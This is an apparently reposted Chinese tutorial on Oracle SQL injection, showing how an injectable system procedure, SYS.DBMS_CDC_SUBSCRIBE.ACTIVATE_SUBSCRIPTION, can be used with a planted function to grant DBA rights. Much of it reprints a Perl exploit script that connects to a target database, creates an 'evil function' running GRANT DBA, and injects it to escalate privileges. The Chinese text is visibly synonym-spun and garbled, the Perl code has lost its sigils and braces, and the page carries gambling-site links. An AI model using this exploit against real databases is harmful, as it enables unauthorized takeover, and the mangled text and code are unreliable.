ART OF WEBSQLINJECTION第2卷 ORACLE篇





留神:本文章首发I.S.T.O泛亚娱乐技术:yuan01.bc88.info/fei团队,后由原创作者友谊提交到邪恶八进制信息平安团队|论|坛|泛亚娱乐|http://yuan01.bc88.info/fei/。
author : kj021320
team: I.S.T.O
良多人都说什么ASP PHP JSP注射 实在注射最直接是跟数据库有关!然而那些脚本只是一种帮助
例如ASP/ASPX JSP 啥限度都没!而PHP则会把\' 过滤为\' 但是若然不是MYSQL POSTGRESQL SQLITE的话这个功效就废了!
然而我感到这些脚本语言都不狠~假如CFM的话 估量你就没折了! 详细各数据库相干信息请参看
ART OF WEBSQLINJECTION第1卷 感激AMXSA以及I.C.E多我的支撑

OK言归正传,在国外对ORACLE的袭击始终很收,只是海内研讨的人不太多,或者技巧不够~这里我就打响第一炮吧!
SQLINJECTION 都是要看数据库的SQL解析引擎的 ,ORACLE这个就不支持多语句履行了!
大家要是用PLSQL那些工具可以用; 来执行多个语句 !
那是因为工具上面帮你做了多个语句分辨提交
ORACLE打针在国外提出了好些攻打方式,但是可能web sql injection应用的没多少!
在早期ngs 跟 ARGENISS 都绝对提出了 FUNCTION/PROCEDURE 的注入方式!
也就是用户自己定义的一些函数或者存储进程会存储SQLINJECTION
我拿一个MSSQL的函数作为例子
create function ISTO_KJ021320(sql varchar(100))
RETURNS int
begin
exec(\'SELECT . FROM KJ021320 WHERE NAME\'\'\'+ sql +\'\'\'\');
end
以上这样的方法无疑sql这个参数没有过滤 存在SQL注入了!
同样在ORACLE中这样的方式特殊出众,首先从用户定义的函数到体系函数
系统包里面的函数个别都是操作一些系统表!一般用户是无措施查取的
但是调用这些系统函数就可以获取相应的信息~
很轻易懂得ORACLE权限治理的机制

用户 调用函数(继续函数创立者的权限) 执行操作
那么我们只要要做的是改函数里面的操作 进行增添用户,建DBA等...

milw0rm securityfocus 红色数据库保险 ...颁布的方式都是很简略的说给了利用而不阐明情理~
那就由我代劳翻印讲授一下吧~
例如以下的官方公布的是
DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION 这个包的这个函数存储INJECTION
OK 在 milw0rm上面公布的 exploit 是一段PERL写的代码

use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ opt /;

sub usage
print "USAGE";

Syntax: 0 h host s sid u user p passwd g'r .P port .

Options:
h host target server address
s sid target sid name
u user user
p passwd password

g'r (g)rant dba to user ' (r)evoke dba from user
.P port Oracle port.

USAGE
exit 0


my opt_string \'h:s:u:p:grP:\';
getopts( opt_string, opt) or
opt h or ! opt s or ! opt u or ! opt p );
opt g and ! opt r );
my user uc opt u ;

my dbh undef;
if ( opt P )
dbh DBI connect("dbi:Oracle:host opt h ;sid opt s ;port opt P ", opt u , opt p ) or die;
else
dbh DBI connect("dbi:Oracle:host opt h ;sid opt s ", opt u , opt p ) or die;


my sqlcmd "GRANT DBA TO user";
print ".. Wait...n";

if ( opt r )
print ".. Revoking DBA from user...n";
sqlcmd "REVOKE DBA FROM user";
dbh do( sqlcmd );
print ".. Done!n";
dbh disconnect;
exit;


print ".. Creating evil function...n";
dbh do( qq
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE \' sqlcmd\'; MIT;
RETURN(0);
END;
);

print ".. Go ...(don\'t worry about errors)!n";
my sth dbh prepare(qq
BEGIN
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION(\'\'\''' user.own''\'\'\');
END;
);
sth execute;
sth finish;
print ".. YOU GOT THE POWAH!!n";
dbh disconnect;
exit;




以上 的方法其实就是 首先本人要树立一个函数叫 OWN 里面的操作就是
GRANT DBA TO user 把DBA权限授予某个用户!
而后到有存在注入的存储过程中
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION( 放入OWN函数 );
由于
ACTIVATE_SUBSCRIPTION方法存在注射
所以会直接执行 own函数 去增加一个权限
这里演示的是 须要先建破一个函数的!但是咱们WEB SQL INJ的时候不能写多个SQL来建个函数啊!
有什么办法·
ACTIVATE_SUBSCRIPTION存在注射 当然也能够把后面的语句屏蔽了!跟我们WEB SQL INJ差未几
详细怎么晓得应当怎么检测发掘ORACLE的函数注入,下次我会写篇 检测函数注入in ORACLE 的文章

09-19 14:36